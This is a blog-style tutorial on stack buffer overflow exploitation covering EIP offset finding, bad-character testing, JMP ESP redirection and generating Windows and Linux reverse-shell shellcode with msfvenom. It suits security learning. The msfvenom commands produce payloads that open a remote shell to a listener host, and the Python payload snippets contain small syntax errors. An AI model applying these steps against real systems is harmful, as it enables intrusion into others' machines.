Home Introduce to buffer overflow vulnerability
Post
Cancel

Introduce to buffer overflow vulnerability

What is buffer overflow

Buffer overflow (BOF) is a vulnerability that occurs when a program process store more data in a block of allocated memory than it can handle. Writing outside the bounds of the allocated memory can corrupt data, crash the program, or cause the execution of malicious code.

BOF

How to exploit buffer overflow

In a 32-bit system, when a program calls a function, it initially pushes arguments onto the stack, followed by the return address and the previous EBP. The remaining stack space is allocated for program variables.

Upon completion of the function, the program pops the saved values to return to the previous function.

Stack

To illustrate, the program utilizes a buffer to store our input data, storing it in little-endian format. Consequently, our data extends toward the return address location.

Buffer overflow when input

When we can overwrite data and return addresses, we can freely manipulate the program’s flow.

Step 1: Control EIP

First, we need to determine the length that causes the crash by fuzzing the program. Then, instead of using “AAAAAAA” to fill the buffer, we can use a long non-repeating string by using msf-pattern_create, for example, create a 800 byte non-reapting string:

1
msf-pattern_create -l 800

Buffer overflow can corrupt the return address, causing the program to jump to an invalid address and crash. To calculate the length from the buffer to the return address, find the offset of the EIP value in a non-repeating string using msf-pattern_offset:

1
msf-pattern_offset -l 800 -q <EIP value>

Finally, we have a payload with structure:

1
2
3
4
5
filler = b"A" * 780 # To fill the buffer
eip = b"B" * 4 # To overwrite EIP
offset b= "C" * 4 # To overwrite the offset
nops = "\x90" * 100
ourshell = b"D" * 500 # To overwrite the shellcode

Payload

Step 2: checking bad characters

Some characters are forbidden in protocols like HTTP and HTTPS, such as 0x00, 0x0A, 0x0D, 0x25, 0x26, 0x2B, and 0x3D. You can check which characters are forbidden by inputting all possible characters and seeing which ones cause the payload not working.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

Use this to check:

1
2
3
4
5
filler = b"A" * 780 # To fill the buffer
eip = b"B" * 4 # To overwrite EIP
offset b= "C" * 4 # To overwrite the offset
nops = "\x90" * 100
ourshell = badchars

If a character is not allowed, it will break our payload and cause it to stop processing. For example, the 0x0a character is not allowed, and the shell payload would look like this: \x01\x02\x03\x04\x05\x06\x07\x08\x09\xad\xff\x01\x02...<some gabage bytes>.

Step 3: Redirect the excution flow

Hardcoding the return address is difficult because the stack address changes at runtime. However, after the ret instruction is executed, the program will pop EIP and jump to the return address. This means that ESP register will now point to the first NOP instruction, then slide in our malicious payload. To control the execution flow of this program, we can overwrite the return address with the address of the JMP ESP instruction.

But the the address of the JMP ESP instruction:

  • Must be static
  • Must not contain any of the bad characters

Alt text

Tools to find:

  • Immunity Debugger: !mona modules
  • EDB: OpcodeSearcher plugins

Step 4: Generating shellcode

In Windows:

1
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"

In Linux:

1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -b "\x00\x20" -f py -v shellcode
This post is licensed under CC BY 4.0 by the author.